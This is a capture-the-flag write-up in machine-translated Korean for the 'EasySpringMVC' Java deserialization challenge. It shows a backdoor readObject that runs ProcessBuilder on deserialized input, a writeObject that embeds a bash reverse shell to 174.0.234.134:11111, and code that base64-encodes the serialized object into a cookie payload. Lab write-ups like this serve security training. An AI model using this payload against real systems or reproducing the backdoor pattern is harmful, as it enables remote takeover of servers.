브러시 타이틀 레코드 [V 및 오픈 N2020] EasySpringMVC

주제 링크를 되풀이 : https://buuoj.cn/challenges
참조 링크 : 2020 V & N 내부 평가 레이스 작성자에서
자바 직렬화 취약점 얻기 질문에서
V & N 열기 2020 작성자를

자바 직렬화

직렬화의 writeObject의 깊이 이해하는 readObject, readResolve에

대상이 클래스가 아닌 경우 요약의 writeObject 또는 readObject에 방법은 개인, 직렬화 및 직렬화 및 역 직렬화 대상 클래스의 속성에 대한 기본 메소드를 호출 역 직렬화 시간을 정의하고, 대상 클래스의 경우 의 writeObject 또는 readObject에 방법을 지정할 때 정의의 writeObject 또는 readObject에 방법을 개인, 직렬화 및 대상 클래스의 역 직렬화가 호출됩니다.

다음은 도구 카테고리를 가지고있어 readObject,

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    Object obj = in.readObject();
    (new ProcessBuilder((String[])((String[])obj))).start();
}

사실, 이것은 다시 문이다. 우리는 도구 클래스를 다시 작성할 수 있습니다 writeObject페이로드를 생성하는

private void writeObject(ObjectOutputStream out) throws IOException{
    out.writeObject(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/174.0.234.134/11111 0>&1"});
}

홈페이지와 페이로드를 생성

public class Main {
    public static void main(String[] args) {
        Tools tools = new Tools();
        Base64.Encoder e = Base64.getEncoder();
        byte[] var20 = new byte[0];
        try {
            var20 = Tools.create(tools);
        } catch (Exception var15) {
            var15.printStackTrace();
        }
        String cookie = e.encodeToString(var20);
        System.out.println(cookie);
    }
}

추천

출처www.cnblogs.com/20175211lyz/p/12422914.html